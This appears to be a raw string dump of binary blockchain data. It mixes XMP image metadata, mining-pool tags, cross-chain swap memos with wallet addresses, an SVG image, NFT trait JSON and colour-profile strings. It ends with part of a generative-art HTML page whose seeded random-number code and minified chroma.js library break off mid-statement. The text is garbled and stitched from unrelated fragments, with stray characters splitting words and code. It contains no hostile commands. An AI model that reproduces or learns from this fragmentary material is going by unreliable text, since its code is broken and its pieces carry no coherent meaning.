ginalDocumentID="FE0EDD589F0E469439AC48061617C8F2" xmpMM:DocumentID="xmp.did:5619A779AB5211EDAE6CEBC5DA51176A" xmpMM:InstanceID="xmp.iid:5619A778AB5211EDAE6CEBC5DA51176A" xmp:CreatorTool="Adobe Photoshop 2023 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:d2cbe29b-1d23-fc46-afbb-379fe74f2978" stRef:documentID="adobe:docid:photoshop:4c7406d7-b1cb-be46-865b-50f6952537ec"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
text/plain;charset=utf-8
JESUS CHRIST IS KING. h!
0http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.1-c000 79.b0f8be90, 2021/12/15-21:25:15        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmp:CreatorTool="Adobe PhotoshM
op 23.2 (Macintosh)" xmpMM:InstanceID="xmp.iid:E78D9FFDA36B11EDA68EE77D65300542" xmpMM:DocumentID="xmp.did:E78D9FFEA36B11EDA68EE77D65300542"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:E78D9FFBA36B11EDA68EE77D65300542" stRef:documentID="xmp.did:E78D9FFCA36B11EDA68EE77D65300542"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
''.030.'>>AA>>AAAAAAAAAAAAAAA
!1!!$!!1>-''''->8;333;8AA>>AAAAAAAAAAAAAAAAA
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
zTXtRaw profile type exif
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
2023-01-24T18:50:08+00:00g
2023-01-24T18:50:08+00:00
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
c/Foundry USA Pool #dropgold/
6j4ion:1.QmaJAGVH95vhdLwEcPspaUT1bt6d3JXnd4ciiSpjx6mKtjI
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
IjGREFUND:8FE2A0AA8D1743571F363B0C82C1C35E2EAAC9D96A317FB69E1DF839BF150CAB
c/Foundry USA Pool #dropgold/
"""""""""g9UUUUUUUUUUUFSWP)p
Bj@=:BNB.BNB:bnb1y9nckywfvqtthejzhakd9a9lez83hn92kmj0hw:11240597::0
FjDOUT:B5ED28DC3273FAFE38C67B78FB1BB3BA59C1F954D6E7A1AAB34DB41B6B5A832B
FjDOUT:804A59ADAE0353B5183637BE89D205CEBBD180A6AECEDC41F8CE07A61BFA289C
FjDOUT:E01C76D0F9EC216AE21BF97517A6599A51155B1B9267D0790E3D39661A5B329D
FjDOUT:992925939B23371FA34139EC640B91ECACA73C01A9D63B467812F43B2DF1DB8D
FjDOUT:D27C960E5F595D08E66809D4648C9B46347475813CEF569EF0A70539EF0B5823
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
((((((((((((((((((((((((((((((((((((((((((((((((((
text/plain;charset=utf-8
SUB 100K RESERVATIONh!
/ViaBTC/Mined by 10krsk3/,
KjISWAPTX:0xada94013bd0cb56f2c41af5fbd1fd393114d2bffcb05f0a86baa8399a4bd6bb4
<?xml version="1.0" encoding="UTF-8"?>
<svg version="1.0" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 8 8">
<!--puzzlords.com s1p0051/4096 3,2,3,3,0 ~0.9387840370181948-->
<style type="text/css">
polyline{stroke:#000;stroke-width:0.15}
<rect fill="#767C89" width="100%" height="100%"/>
<polyline fill="#F2F652" points="0,8 7,5 7,5 0,0 "/>
<polyline fill="#F652A0" points="8,0 7,1 6,3 8,8 "/>
<polyline fill="#F2F652" points="8,8 6,7 6,7 0,8 "/>
<polyline fill="#F2F652" points="0,0 6,4 6,4 8,0 "/>
IjGREFUND:2D277BD54B62D77FDEC74F62D8F59D2682FB27910A7F7798289C2122DEE5AC9B
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
{"attributes":[{"trait_type":"Mouth","value":"Small Grin"},{"trait_type":"Earring","value":"Diamond Stud"},{"trait_type":"Fur","value":"Cheetah"},{"trait_type":"Background","value":"Orange"},{"trait_type":"Eyes","value":"3d"},{"trait_type":"Clothes","value":"Tanktop"}],"external_url":"https://baycbitcoin.com/index/bayc/14"}
 .)10.)-,3:J>36F7,-@WAFLNRSR2>ZaZP`JQRO
&O5-5OOOOOOOOOOOOOOOOOOOOOOM
OOOOOOOOOOOOOOOOOOOOOOOOOOOO
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
Blender:RenderTime:00:00.43
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
Blender:RenderTime:00:00.38
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
text/plain;charset=utf-8
text/plain;charset=utf-8
FjDOUT:CF5B88CAF232CD33123F89BDC90F95AD2A2973D0E2750BAEAC68952A2EFE6A70
FjDOUT:7208E247D74C23D9E349A54543E2BCC87300A07A9424275DF57FF8CF10183092
FjDOUT:C2C830100B819E0EF32BEBFCD3ECBBEB9451EC2CA06CABAFC210314263616162
FjDOUT:C55062A6431FEAAA0A97BE0344C1567A45253A139958F2EAD6CB41388361F1D4
Bj@=:ETH.ETH:0x565988A979AE28737Cc09A3E7D03dA4eF4e6F465:17985045::0
Bj@=:BNB.BNB:bnb130vsy039tky9amxd7k2cyh5jzfwtz6vqugjzwd:13503955::0
((((((((((((((((((((((((((((((((((((((((((((((((((
Blender:RenderTime:00:00.45
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
	!http://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about=""/> </rdf:RDF> </x:xmpmeta>                                                                      M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                   <?xpacket end="w"?>
Copyright Apple Inc., 2022
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
qhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="BD3M
73801FDABE94B1AB7E884FB661376" xmpMM:DocumentID="xmp.did:6D104A38ABC511ED8C44954F80EE1779" xmpMM:InstanceID="xmp.iid:6D104A37ABC511ED8C44954F80EE1779" xmp:CreatorTool="Adobe Photoshop 2022 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:367462bd-0f53-e24b-be9d-d147ef5e8461" stRef:documentID="xmp.did:367462bd-0f53-e24b-be9d-d147ef5e8461"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFM
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
c/Foundry USA Pool #dropgold/
FjDOUT:E8BFA282D06D0364DC75B13EFB13B6FED99D2860CFE92D18C3D2F43B51BA83F3
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
qhttp://ns.adobe.com/xap/1.0/
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 7.2-c000 79.566ebc5b4, 2022/05/09-08:25:55        "> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stRef="http://ns.adobe.com/xap/1.0/sType/ResourceRef#" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:OriginalDocumentID="E46M
3AFFF1C19D4515BAEA2448A5A73CB" xmpMM:DocumentID="xmp.did:75729E26ABC511ED9910C917B72B9666" xmpMM:InstanceID="xmp.iid:75729E25ABC511ED9910C917B72B9666" xmp:CreatorTool="Adobe Photoshop 2022 Windows"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:20b2a8c3-6f69-7a49-88ff-587a8977dbc2" stRef:documentID="xmp.did:20b2a8c3-6f69-7a49-88ff-587a8977dbc2"/> </rdf:Description> </rdf:RDF> </x:xmpmeta> <?xpacket end="r"?>
4B/)/B=3223=FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
!!*%*3  3F3*3FFF88FFFFFM
FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF
" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 4.4.0-Exiv2"> <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#"> <rdf:Description rdf:about="" xmlns:xmpMM="http://ns.adobe.com/xap/1.0/mm/" xmlns:stEvt="http://ns.adobe.com/xap/1.0/sType/ResourceEvent#" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:GM
IMP="http://www.gimp.org/xmp/" xmlns:tiff="http://ns.adobe.com/tiff/1.0/" xmlns:xmp="http://ns.adobe.com/xap/1.0/" xmpMM:DocumentID="gimp:docid:gimp:e870133b-e55f-4e98-bd62-ee474124a8a5" xmpMM:InstanceID="xmp.iid:8184a96b-692c-45f5-84f6-a3b30faef0e0" xmpMM:OriginalDocumentID="xmp.did:2c82fa5d-2a15-4486-8cd4-901eada7301b" dc:Format="image/webp" GIMP:API="2.0" GIMP:Platform="Windows" GIMP:TimeStamp="1676316617548145" GIMP:Version="2.10.32" tiff:Orientation="1" xmp:CreatorTool="GIMP 2.10" xmp:MetadataDate="2023:02:13TM
14:30:00-05:00" xmp:ModifyDate="2023:02:13T14:30:00-05:00"> <xmpMM:History> <rdf:Seq> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:69f2f4e0-a321-49b3-909c-e9a577fe0fe3" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T14:28:46"/> <rdf:li stEvt:action="saved" stEvt:changed="/" stEvt:instanceID="xmp.iid:e8b26a9d-f2ad-4bb7-b6cb-9b1a04ee3cb6" stEvt:softwareAgent="Gimp 2.10 (Windows)" stEvt:when="2023-02-13T14:30:17"/> </rdf:Seq> </xmpMM:History> </rdf:Description> </rdf:RDF> M
</x:xmpmeta>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        M
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     <?xpacket end="w"?>h!
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
$6"(""("60:/,/:0VD<<DVdTOTdylly
$6"(""("60:/,/:0VD<<DVdTOTdylly
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
1,5+(+5,N=77=NZLHLZnbbn
1,5+(+5,N=77=NZLHLZnbbn
Aj?=:BNB.BNB:bnb1m070cfs2pfr0xmgl0rfw5dn8fa7pw023ese4jq:7377332::0
CjA=:BNB.BNB:bnb1c3pjhnuan6y3m8zc82crluuja5y5gmatqru867:101138215::0
Blender:RenderTime:00:00.36
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
Blender:RenderTime:00:00.38
!22222222222222222222222222222222222222222222222222
%&'()*456789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz
Copyright (c) 1998 Hewlett-Packard Company
IEC http://www.iec.ch
IEC http://www.iec.ch
.IEC 61966-2.1 Default RGB colour space - sRGB
.IEC 61966-2.1 Default RGB colour space - sRGB
,Reference Viewing Condition in IEC61966-2.1
,Reference Viewing Condition in IEC61966-2.1
&#  #&:*-*-*:X7@77@7XN_MHM_N
&#  #&:*-*-*:X7@77@7XN_MHM_N
FjDOUT:45B123BCDC5EF91EB88A06E0F83D4F3756F6274F45D8FF95C446B0085F5F7907
text/plain;charset=utf-8
text/plain;charset=utf-8
text/plain;charset=utf-8
text/html;charset=utf-8
      display: block;
    <meta charset="utf-8" />
    let seed=window.location.href.split('/').find(t=>t.includes('i0'));
    if (seed == null) {
      seed = new URLSearchParams(window.location.search).get("seed");
      let pattern = "seed=";
      for(let i = 0; i < seed.length - pattern.length; M
        if (seed.substring(i, i + pattern.length) == pattern) {
          seed = seed.substring(i + pattern.length);
    function cyrb128($) {
      let _ = 1779033703, u = 3144134277, i = 1013904242, l = 2773480762;
      for (let n = 0, r; n < $.length; n++) _ = u ^ Math.imul(_ ^ (r = $.charCodeAt(n)), 597399067), u = i ^ Math.imul(u ^ r, 2869860233), i = l ^ Math.imul(i ^ r, 951274213), l = _ ^ Math.imul(l ^ r, 2716044179);
      return _ = Math.imul(i ^ _ >>> 18,M
 597399067), u = Math.imul(l ^ u >>> 22, 2869860233), i = Math.imul(_ ^ i >>> 17, 951274213), l = Math.imul(u ^ l >>> 19, 2716044179), [(_ ^ u ^ i ^ l) >>> 0, (u ^ _) >>> 0, (i ^ _) >>> 0, (l ^ _) >>> 0]
    function sfc32($, _, u, i) {
      return function () {
        u >>>= 0, i >>>= 0;
        var l = ($ >>>= 0) + (_ >>>= 0) | 0;
        return $ = _ ^ _ >>> 9, _ = u + (u << 3) | 0, u = (u = u << 21 | u >>> 11) + (l = l + (i = i + 1 | 0) | 0) | 0, (l >>> 0) / 4294967296
 sfc32(...cyrb128(seed));
    let p5seed = Math.floor(mathRand() * Number.MAX_SAFE_INTEGER);
!function(r,e){"object"==typeof exports&&"undefined"!=typeof module?module.exports=e():"function"==typeof define&&define.amd?define(e):(r="undefined"!=typeof globalThis?globalThis:r||self).chroma=e()}(this,function(){"use strict";for(var r=function(r,e,t){return void 0===e&&(e=0),void 0===t&&(t=1),r<e?e:r>t?t:r},e=r,t={},n=0,a=["Boolean","Number","String","Function","Array","Date","RegExp","Undefined","Null"];n<a.length;nM
+=1){var f=a[n];t["[object "+f+"]"]=f.toLowerCase()}var o=function(r){return t[Object.prototype.toString.call(r)]||"object"},c=o,u=o,i=Math.PI,l={clip_rgb:function(r){r._clipped=!1,r._unclipped=r.slice(0);for(var t=0;t<=3;t++)t<3?((r[t]<0||r[t]>255)&&(r._clipped=!0),r[t]=e(r[t],0,255)):3===t&&(r[t]=e(r[t],0,1));return r},limit:r,type:o,unpack:function(r,e){return void 0===e&&(e=null),r.length>=3?Array.prototype.slice.call(r):"object"==c(r[0])&&e?e.split("").filter(function(e){return void 0!==r[0][e]}).map(function(M
e){return r[0][e]}):r[0]},last:function(r){if(r.length<2)return null;var e=r.length-1;return"string"==u(r[e])?r[e].toLowerCase():null},PI:i,TWOPI:2*i,PITHIRD:i/3,DEG2RAD:i/180,RAD2DEG:180/i},d={format:{},autodetect:[]},h=l.last,b=l.clip_rgb,s=l.type,p=d,g=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if("object"===s(r[0])&&r[0].constructor&&r[0].constructor===this.constructor)return r[0];var t=h(r),n=!1;if(!t){n=!0,p.sorted||(p.autodetect=p.autodetect.sort(function(r,e){return e.p-r.p}),p.sortedM
=!0);for(var a=0,f=p.autodetect;a<f.length;a+=1){var o=f[a];if(t=o.test.apply(o,r))break}}if(!p.format[t])throw new Error("unknown format: "+r);var c=p.format[t].apply(null,n?r:r.slice(0,-1));this._rgb=b(c),3===this._rgb.length&&this._rgb.push(1)};g.prototype.toString=function(){return"function"==s(this.hex)?this.hex():"["+this._rgb.join(",")+"]"};var v=g,y=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(y.Color,[null].concat(r)))};y.Color=v,y.version="2.4.M
2";var m=y,k=l.unpack,w=Math.max,M=l.unpack,_=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=M(r,"cmyk"))[0],n=r[1],a=r[2],f=r[3],o=r.length>4?r[4]:1;return 1===f?[0,0,0,o]:[t>=1?0:255*(1-t)*(1-f),n>=1?0:255*(1-n)*(1-f),a>=1?0:255*(1-a)*(1-f),o]},N=m,F=v,x=d,P=l.unpack,R=l.type,G=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=k(r,"rgb"),n=t[0],a=t[1],f=t[2],o=1-w(n/=255,w(a/=255,f/=255)),c=o<1?1/(1-o):0;return[(1-n-o)*c,(1-a-o)*c,(1-f-o)*c,o]};F.prototype.cmyk=fuM
nction(){return G(this._rgb)},N.cmyk=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(F,[null].concat(r,["cmyk"])))},x.format.cmyk=_,x.autodetect.push({p:2,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=P(r,"cmyk"),"array"===R(r)&&4===r.length)return"cmyk"}});var j=l.unpack,E=l.last,O=function(r){return Math.round(100*r)/100},q=l.unpack,B=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=(r=q(r,"rgba"))[0],nM
=r[1],a=r[2];t/=255,n/=255,a/=255;var f,o,c=Math.min(t,n,a),u=Math.max(t,n,a),i=(u+c)/2;return u===c?(f=0,o=Number.NaN):f=i<.5?(u-c)/(u+c):(u-c)/(2-u-c),t==u?o=(n-a)/(u-c):n==u?o=2+(a-t)/(u-c):a==u&&(o=4+(t-n)/(u-c)),(o*=60)<0&&(o+=360),r.length>3&&void 0!==r[3]?[o,f,i,r[3]]:[o,f,i]},I=l.unpack,A=l.last,D=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=j(r,"hsla"),n=E(r)||"lsa";return t[0]=O(t[0]||0),t[1]=O(100*t[1])+"%",t[2]=O(100*t[2])+"%","hsla"===n||t.length>3&&t[3]<1?(t[3]=t.length>3?t[M
3]:1,n="hsla"):t.length=3,n+"("+t.join(",")+")"},C=B,Y=Math.round,S=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=I(r,"rgba"),n=A(r)||"rgb";return"hsl"==n.substr(0,3)?D(C(t),n):(t[0]=Y(t[0]),t[1]=Y(t[1]),t[2]=Y(t[2]),("rgba"===n||t.length>3&&t[3]<1)&&(t[3]=t.length>3?t[3]:1,n="rgba"),n+"("+t.slice(0,"rgb"===n?3:4).join(",")+")")},L=l.unpack,$=Math.round,T=function(){for(var r,e=[],t=arguments.length;t--;)e[t]=arguments[t];var n,a,f,o=(e=L(e,"hsl"))[0],c=e[1],u=e[2];if(0===c)n=a=f=255*u;elsM
e{var i=[0,0,0],l=[0,0,0],d=u<.5?u*(1+c):u+c-u*c,h=2*u-d,b=o/360;i[0]=b+1/3,i[1]=b,i[2]=b-1/3;for(var s=0;s<3;s++)i[s]<0&&(i[s]+=1),i[s]>1&&(i[s]-=1),6*i[s]<1?l[s]=h+6*(d-h)*i[s]:2*i[s]<1?l[s]=d:3*i[s]<2?l[s]=h+(d-h)*(2/3-i[s])*6:l[s]=h;n=(r=[$(255*l[0]),$(255*l[1]),$(255*l[2])])[0],a=r[1],f=r[2]}return e.length>3?[n,a,f,e[3]]:[n,a,f,1]},K=T,W=d,X=/^rgb\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*\)$/,Z=/^rgba\(\s*(-?\d+),\s*(-?\d+)\s*,\s*(-?\d+)\s*,\s*([01]|[01]?\.\d+)\)$/,H=/^rgb\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\M
d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,z=/^rgba\(\s*(-?\d+(?:\.\d+)?)%,\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,U=/^hsl\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*\)$/,V=/^hsla\(\s*(-?\d+(?:\.\d+)?),\s*(-?\d+(?:\.\d+)?)%\s*,\s*(-?\d+(?:\.\d+)?)%\s*,\s*([01]|[01]?\.\d+)\)$/,J=Math.round,Q=function(r){var e;if(r=r.toLowerCase().trim(),W.format.named)try{return W.format.named(r)}catch(r){}if(e=r.match(X)){for(var t=e.slice(1,4),n=0;n<3;n++)t[n]=+t[n];returnM
 t[3]=1,t}if(e=r.match(Z)){for(var a=e.slice(1,5),f=0;f<4;f++)a[f]=+a[f];return a}if(e=r.match(H)){for(var o=e.slice(1,4),c=0;c<3;c++)o[c]=J(2.55*o[c]);return o[3]=1,o}if(e=r.match(z)){for(var u=e.slice(1,5),i=0;i<3;i++)u[i]=J(2.55*u[i]);return u[3]=+u[3],u}if(e=r.match(U)){var l=e.slice(1,4);l[1]*=.01,l[2]*=.01;var d=K(l);return d[3]=1,d}if(e=r.match(V)){var h=e.slice(1,4);h[1]*=.01,h[2]*=.01;var b=K(h);return b[3]=+e[4],b}};Q.test=function(r){return X.test(r)||Z.test(r)||H.test(r)||z.test(r)||U.test(r)||V.test(r)M
};var rr=m,er=v,tr=d,nr=l.type,ar=S,fr=Q;er.prototype.css=function(r){return ar(this._rgb,r)},rr.css=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(er,[null].concat(r,["css"])))},tr.format.css=fr,tr.autodetect.push({p:5,test:function(r){for(var e=[],t=arguments.length-1;t-- >0;)e[t]=arguments[t+1];if(!e.length&&"string"===nr(r)&&fr.test(r))return"css"}});var or=v,cr=m,ur=l.unpack;d.format.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e]M
;var t=ur(r,"rgba");return t[0]*=255,t[1]*=255,t[2]*=255,t},cr.gl=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(or,[null].concat(r,["gl"])))},or.prototype.gl=function(){var r=this._rgb;return[r[0]/255,r[1]/255,r[2]/255,r[3]]};var ir=l.unpack,lr=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t,n=ir(r,"rgb"),a=n[0],f=n[1],o=n[2],c=Math.min(a,f,o),u=Math.max(a,f,o),i=u-c,l=100*i/255,d=c/(255-i)*100;return 0===i?t=Number.NaN:(a===u&&(t=M
(f-o)/i),f===u&&(t=2+(o-a)/i),o===u&&(t=4+(a-f)/i),(t*=60)<0&&(t+=360)),[t,l,d]},dr=l.unpack,hr=Math.floor,br=function(){for(var r,e,t,n,a,f,o=[],c=arguments.length;c--;)o[c]=arguments[c];var u,i,l,d=(o=dr(o,"hcg"))[0],h=o[1],b=o[2];b*=255;var s=255*h;if(0===h)u=i=l=b;else{360===d&&(d=0),d>360&&(d-=360),d<0&&(d+=360);var p=hr(d/=60),g=d-p,v=b*(1-h),y=v+s*(1-g),m=v+s*g,k=v+s;switch(p){case 0:u=(r=[k,m,v])[0],i=r[1],l=r[2];break;case 1:u=(e=[y,k,v])[0],i=e[1],l=e[2];break;case 2:u=(t=[v,k,m])[0],i=t[1],l=t[2];break;cM
ase 3:u=(n=[v,y,k])[0],i=n[1],l=n[2];break;case 4:u=(a=[m,v,k])[0],i=a[1],l=a[2];break;case 5:u=(f=[k,v,y])[0],i=f[1],l=f[2]}}return[u,i,l,o.length>3?o[3]:1]},sr=l.unpack,pr=l.type,gr=m,vr=v,yr=d,mr=lr;vr.prototype.hcg=function(){return mr(this._rgb)},gr.hcg=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];return new(Function.prototype.bind.apply(vr,[null].concat(r,["hcg"])))},yr.format.hcg=br,yr.autodetect.push({p:1,test:function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];if(r=sr(r,"M
hcg"),"array"===pr(r)&&3===r.length)return"hcg"}});var kr=l.unpack,wr=l.last,Mr=Math.round,_r=function(){for(var r=[],e=arguments.length;e--;)r[e]=arguments[e];var t=kr(r,"rgba"),n=t[0],a=t[1],f=t[2],o=t[3],c=wr(r)||"auto";void 0===o&&(o=1),"auto"===c&&(c=o<1?"rgba":"rgb");var u="000000"+((n=Mr(n))<<16|(a=Mr(a))<<8|(f=Mr(f))).toString(16);u=u.substr(u.length-6);var i="0"+Mr(255*o).toString(16);switch(i=i.substr(i.length-2),c.toLowerCase()){case"rgba":return"#"+u+i;case"argb":return"#"+i+u;default:return"#"+u}},Nr=/M
